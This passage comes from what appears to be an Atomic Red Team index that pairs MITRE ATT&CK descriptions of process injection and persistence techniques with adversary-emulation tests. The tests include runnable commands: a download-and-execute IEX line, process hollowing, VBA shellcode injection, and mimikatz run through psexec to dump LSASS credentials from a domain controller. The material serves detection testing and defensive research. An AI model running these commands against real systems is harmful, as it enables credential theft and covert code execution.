        with the <code>GetPrintProcessorDirectory</code> API call.(Citation: Microsoft
        AddPrintProcessor May 2018) After the print processors are installed, the
        print spooler service, which starts during boot, must be restarted in order
        for them to run.(Citation: ESET PipeMon May 2020) The print spooler service
        runs under SYSTEM level permissions, therefore print processors installed
        by an adversary may run under elevated privileges."
      id: attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-10-09T16:05:36.344Z'
      created: '2020-10-05T13:24:49.780Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Monitor process API calls to <code>AddPrintProcessor</code> and <code>GetPrintProcessorDirectory</code>. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to <code>HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver</code> or <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver</code> as they pertain to print processor installations.

        Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Driver: Driver Load'
      x_mitre_contributors:
      - Mathieu Tartare, ESET
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1055.009:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.009
        url: https://attack.mitre.org/techniques/T1055/009
      - url: http://hick.org/code/skape/papers/needle.txt
        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
          Retrieved December 20, 2017.
        source_name: Uninformed Needle
      - source_name: GDS Linux Injection
        url: https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html
        description: McNamara, R. (2017, September 5). Linux Based Inter-Process Code
          Injection Without Ptrace(2). Retrieved February 21, 2020.
      - source_name: DD Man
        url: http://man7.org/linux/man-pages/man1/dd.1.html
        description: Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved
          February 21, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Proc Memory
      description: "Adversaries may inject malicious code into processes via the /proc
        filesystem in order to evade process-based defenses as well as possibly elevate
        privileges. Proc memory injection is a method of executing arbitrary code
        in the address space of a separate live process. \n\nProc memory injection
        involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>)
        then crafting a return-oriented programming (ROP) payload with available gadgets/instructions.
        Each running process has its own directory, which includes memory mappings.
        Proc memory injection is commonly performed by overwriting the target processes’
        stack using memory mappings provided by the /proc filesystem. This information
        can be used to enumerate offsets (including the stack) and gadgets (or instructions
        within the program that can be used to build a malicious payload) otherwise
        hidden by process memory protections such as address space layout randomization
        (ASLR). Once enumerated, the target processes’ memory map within <code>/proc/[pid]/maps</code>
        can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux
        Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker
        Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate
        a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012),
        proc memory injection may target child processes (such as a backgrounded copy
        of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context
        of another process may allow access to the process's memory, system/network
        resources, and possibly elevated privileges. Execution via proc memory injection
        may also evade detection from security products since the execution is masked
        under a legitimate process. "
      id: attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-06-20T22:25:55.331Z'
      created: '2020-01-14T01:34:10.588Z'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_detection: "File system monitoring can determine if /proc files are
        being modified. Users should not have permission to modify these in most cases.
        \n\nAnalyze process behavior to determine if a process is performing actions
        it usually does not, such as opening network connections, reading files, or
        other suspicious actions that could relate to post-compromise behavior. "
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
    atomic_tests: []
  T1055.013:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.013
        url: https://attack.mitre.org/techniques/T1055/013
      - url: https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx
        description: Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December
          20, 2017.
        source_name: Microsoft TxF
      - url: https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx
        description: Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20,
          2017.
        source_name: Microsoft Basic TxF Concepts
      - url: https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx
        description: Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved
          December 20, 2017.
        source_name: Microsoft Where to use TxF
      - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
        description: 'Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction:
          Process Doppelgänging. Retrieved December 20, 2017.'
        source_name: BlackHat Process Doppelgänging Dec 2017
      - url: https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
        description: hasherezade. (2017, December 18). Process Doppelgänging – a new
          way to impersonate a process. Retrieved December 20, 2017.
        source_name: hasherezade Process Doppelgänging Dec 2017
      - url: https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx
        description: Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved
          December 20, 2017.
        source_name: Microsoft PsSetCreateProcessNotifyRoutine routine
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Process Doppelgänging
      description: "Adversaries may inject malicious code into process via process
        doppelgänging in order to evade process-based defenses as well as possibly
        elevate privileges. Process doppelgänging is a method of executing arbitrary
        code in the address space of a separate live process. \n\nWindows Transactional
        NTFS (TxF) was introduced in Vista as a method to perform safe file operations.
        (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted
        handle to write to a file at a given time. Until the write handle transaction
        is terminated, all other handles are isolated from the writer and may only
        read the committed version of the file that existed at the time the handle
        was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption,
        TxF performs an automatic rollback if the system or application fails during
        a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated,
        the TxF application programming interface (API) is still enabled as of Windows
        10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may
        abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055).
        Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012),
        process doppelgänging involves replacing the memory of a legitimate process,
        enabling the veiled execution of malicious code that may evade defenses and
        detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored
        API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>,
        and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelgänging
        Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat
        Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction
        using a legitimate executable then overwrite the file with malicious code.
        These changes will be isolated and only visible within the context of the
        transaction.\n* Load – Create a shared section of memory and load the malicious
        executable.\n* Rollback – Undo changes to original executable, effectively
        removing malicious code from the file system.\n* Animate – Create a process
        from the tainted section of memory and initiate execution.\n\nThis behavior
        will likely not result in elevated privileges since the injected process was
        spawned from (and thus inherits the security context) of the injecting process.
        However, execution via process doppelgänging may evade detection from security
        products since the execution is masked under a legitimate process. "
      id: attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-02-09T15:43:48.848Z'
      created: '2020-01-14T17:19:50.978Z'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'File: File Metadata'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_detection: |-
        Monitor and analyze calls to <code>CreateTransaction</code>, <code>CreateFileTransacted</code>, <code>RollbackTransaction</code>, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to <code>NtCreateProcessEx</code> and <code>NtCreateThreadEx</code> as well as API calls used to modify memory within another process, such as <code>WriteProcessMemory</code>. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)

        Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)

        Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1055.012:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.012
        url: https://attack.mitre.org/techniques/T1055/012
      - url: http://www.autosectools.com/process-hollowing.pdf
        description: Leitch, J. (n.d.). Process Hollowing. Retrieved November 12,
          2014.
        source_name: Leitch Hollowing
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Process Hollowing
      description: "Adversaries may inject malicious code into suspended and hollowed
        processes in order to evade process-based defenses. Process hollowing is a
        method of executing arbitrary code in the address space of a separate live
        process.  \n\nProcess hollowing is commonly performed by creating a process
        in a suspended state then unmapping/hollowing its memory, which can then be
        replaced with malicious code. A victim process can be created with native
        Windows API calls such as <code>CreateProcess</code>, which includes a flag
        to suspend the processes primary thread. At this point the process can be
        unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>
        \ before being written to, realigned to the injected code, and resumed via
        <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>,
        then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation:
        Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local
        Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new
        process rather than targeting an existing process. This behavior will likely
        not result in elevated privileges since the injected process was spawned from
        (and thus inherits the security context) of the injecting process. However,
        execution via process hollowing may also evade detection from security products
        since the execution is masked under a legitimate process. "
      id: attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-11-10T18:29:31.031Z'
      created: '2020-01-14T17:21:54.470Z'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        and those that can be used to modify memory within another process, such as
        <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for
        this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1055.012
    atomic_tests:
    - name: Process Hollowing using PowerShell
      auto_generated_guid: 562427b4-39ef-4e8c-af88-463a78e70b9c
      description: |
        This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.
        Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)
      supported_platforms:
      - windows
      input_arguments:
        hollow_binary_path:
          description: Path of the binary to hollow (executable that will run inside
            the sponsor)
          type: String
          default: C:\Windows\System32\cmd.exe
        parent_process_name:
          description: Name of the parent process
          type: String
          default: explorer
        sponsor_binary_path:
          description: Path of the sponsor binary (executable that will host the binary)
          type: String
          default: C:\Windows\System32\notepad.exe
        spawnto_process_name:
          description: Name of the process to spawn
          type: String
          default: notepad
      executor:
        command: |
          . $PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1
          $ppid=Get-Process #{parent_process_name} | select -expand id
          Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
        cleanup_command: 'Stop-Process -Name "#{spawnto_process_name}" -ErrorAction
          Ignore

'
        name: powershell
    - name: RunPE via VBA
      auto_generated_guid: 3ad4a037-1598-4136-837c-4027e4fa319b
      description: 'This module executes notepad.exe from within the WINWORD.EXE process

'
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word
          type: String
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

'
      executor:
        command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\"
          -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1055.012\\src\\T1055.012-macrocode.txt\"
          -officeProduct \"#{ms_product}\" -sub \"Exploit\"\n"
        name: powershell
  T1055:
    technique:
      created: '2017-05-31T21:30:47.843Z'
      modified: '2021-02-09T15:43:50.029Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1055
        url: https://attack.mitre.org/techniques/T1055
      - external_id: CAPEC-640
        source_name: capec
        url: https://capec.mitre.org/data/definitions/640.html
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
          December 20, 2017.'
        source_name: ArtOfMemoryForensics
      - url: https://www.gnu.org/software/acct/
        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
          December 20, 2017.
        source_name: GNU Acct
      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
          Chapter 7 - System Auditing. Retrieved December 20, 2017.
        source_name: RHEL auditd
      - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
          Retrieved December 20, 2017.
        source_name: Chokepoint preload rootkits
      - url: https://docs.microsoft.com/sysinternals/downloads/sysmon
        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
          December 13, 2017.
        source_name: Microsoft Sysmon v6 May 2017
      description: "Adversaries may inject code into processes in order to evade process-based
        defenses as well as possibly elevate privileges. Process injection is a method
        of executing arbitrary code in the address space of a separate live process.
        Running code in the context of another process may allow access to the process's
        memory, system/network resources, and possibly elevated privileges. Execution
        via process injection may also evade detection from security products since
        the execution is masked under a legitimate process. \n\nThere are many different
        ways to inject code into a process, many of which abuse legitimate functionalities.
        These implementations exist for every major OS but are typically platform
        specific. \n\nMore sophisticated samples may perform multiple process injections
        to segment modules and further evade detection, utilizing named pipes or other
        inter-process communication (IPC) mechanisms as a communication channel. "
      name: Process Injection
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Anastasios Pingios
      - Christiaan Beek, @ChristiaanBeek
      - Ryan Becwar
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      - 'File: File Modification'
      - 'File: File Metadata'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can
        be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)
        \n\nMonitor DLL/PE file events, specifically creation of these binary files
        as well as the loading of DLLs into processes. Look for DLLs that are not
        recognized or not normally loaded into a process. \n\nMonitoring for Linux
        specific calls such as the ptrace system call should not generate large amounts
        of data due to their specialized nature, and can be a very effective method
        to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)
        \ (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload
        rootkits) \n\nMonitor for named pipe creation and connection events (Event
        IDs 17 and 18) for possible indicators of infected processes with external
        modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior
        to determine if a process is performing actions it usually does not, such
        as opening network connections, reading files, or other suspicious actions
        that could relate to post-compromise behavior. "
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1055
    atomic_tests:
    - name: Shellcode execution via VBA
      auto_generated_guid: 1c91e740-1729-4329-b779-feba6e71d048
      description: |
        This module injects shellcode into a newly created process and executes. By default the shellcode is created,
        with Metasploit, for use on x86-64 Windows 10 machines.

        Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office
        is required.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'The 64-bit version of Microsoft Office must be installed

'
        prereq_command: |
          try {
            $wdApp = New-Object -COMObject "Word.Application"
            $path = $wdApp.Path
            Stop-Process -Name "winword"
            if ($path.contains("(x86)")) { exit 1 } else { exit 0 }
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word (64-bit)
          manually to meet this requirement"

'
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1055\src\x64\T1055-macrocode.txt" -officeProduct "Word" -sub "Execute"
        name: powershell
    - name: Remote Process Injection in LSASS via mimikatz
      auto_generated_guid: 3203ad24-168e-4bec-be36-f79b13ef8a83
      description: |
        Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).
        Especially useful against domain controllers in Active Directory environments.
        It must be executed in the context of a user who is privileged on remote `machine`.

        The effect of `/inject` is explained in <https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html>
      supported_platforms:
      - windows
      input_arguments:
        machine:
          description: machine to target (via psexec)
          type: String
          default: DC1
        mimikatz_path:
          description: Mimikatz windows executable
          type: Path
          default: "%tmp%\\mimikatz\\x64\\mimikatz.exe"
        psexec_path:
          description: Path to PsExec
          type: String
          default: C:\PSTools\PsExec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

'
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
          Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\mimikatz.zip"
          Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force
          New-Item -ItemType Directory (Split-Path $mimikatz_path) -Force | Out-Null
          Move-Item $env:TEMP\mimikatz\x64\mimikatz.exe $mimikatz_path -Force
      - description: 'PsExec tool from Sysinternals must exist on disk at specified
          location (#{psexec_path})

'
        prereq_command: 'if (Test-Path "#{psexec_path}") { exit 0} else { exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip"
          Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force
          New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
          Copy-Item $env:TEMP\PsTools\PsExec.exe "#{psexec_path}" -Force
      executor:
        command: '#{psexec_path} /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa
          /inject /id:500" "exit"

'
        name: command_prompt
        elevation_required: false
  T1055.008:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.008
        url: https://attack.mitre.org/techniques/T1055/008
      - source_name: PTRACE man
        url: http://man7.org/linux/man-pages/man2/ptrace.2.html
        description: Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's
          Manual. Retrieved February 21, 2020.
      - source_name: Medium Ptrace JUL 2018
        url: https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be
        description: Jain, S. (2018, July 25). Code injection in running process using
          ptrace. Retrieved February 21, 2020.
      - source_name: BH Linux Inject
        url: https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf
        description: Colgan, T. (2015, August 15). Linux-Inject. Retrieved February
          21, 2020.
      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
          December 20, 2017.'
        source_name: ArtOfMemoryForensics
      - url: https://www.gnu.org/software/acct/
        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
          December 20, 2017.
        source_name: GNU Acct
      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
          Chapter 7 - System Auditing. Retrieved December 20, 2017.
        source_name: RHEL auditd
      - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
          Retrieved December 20, 2017.
        source_name: Chokepoint preload rootkits
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Ptrace System Calls
      description: "Adversaries may inject malicious code into processes via ptrace
        (process trace) system calls in order to evade process-based defenses as well
        as possibly elevate privileges. Ptrace system call injection is a method of
        executing arbitrary code in the address space of a separate live process.
        \n\nPtrace system call injection involves attaching to and modifying a running
        process. The ptrace system call enables a debugging process to observe and
        control another process (and each individual thread), including changing memory
        and register values.(Citation: PTRACE man) Ptrace system call injection is
        commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>)
        then invoking that memory with <code>PTRACE_SETREGS</code> to set the register
        containing the next instruction to execute. Ptrace system call injection can
        also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>,
        which copy data to a specific address in the target processes’ memory (ex:
        the current address of the next instruction). (Citation: PTRACE man)(Citation:
        Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible
        targeting processes with high-privileges, and on some system those that are
        non-child processes.(Citation: BH Linux Inject) \n\nRunning code in the context
        of another process may allow access to the process's memory, system/network
        resources, and possibly elevated privileges. Execution via ptrace system call
        injection may also evade detection from security products since the execution
        is masked under a legitimate process. "
      id: attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-06-20T22:24:56.734Z'
      created: '2020-01-14T01:33:19.065Z'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_detection: "Monitoring for Linux specific calls such as the ptrace system
        call should not generate large amounts of data due to their specialized nature,
        and can be a very effective method to detect some of the common process injection
        methods.(Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation:
        RHEL auditd)  (Citation: Chokepoint preload rootkits) \n\nAnalyze process
        behavior to determine if a process is performing actions it usually does not,
        such as opening network connections, reading files, or other suspicious actions
        that could relate to post-compromise behavior. "
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
    atomic_tests: []
  T1037.004:
    technique:
      id: attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211
      description: |-
        Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.

        Adversaries can establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.

        Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)

        Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)
      name: RC Scripts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1037.004
        url: https://attack.mitre.org/techniques/T1037/004
      - source_name: IranThreats Kittens Dec 2017
        url: https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/
        description: Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten,
          A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.
      - description: Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted
          Linux Systems. Retrieved June 24, 2019.
        url: https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/
        source_name: Intezer HiddenWasp Map 2019
      - source_name: intezer-kaiji-malware
        url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
          turning to Golang. Retrieved December 17, 2020.'
      - source_name: Apple Developer Doco Archive Launchd
        url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
        description: Apple. (2016, September 13). Daemons and Services Programming
          Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
          2017.
        source_name: Startup Items
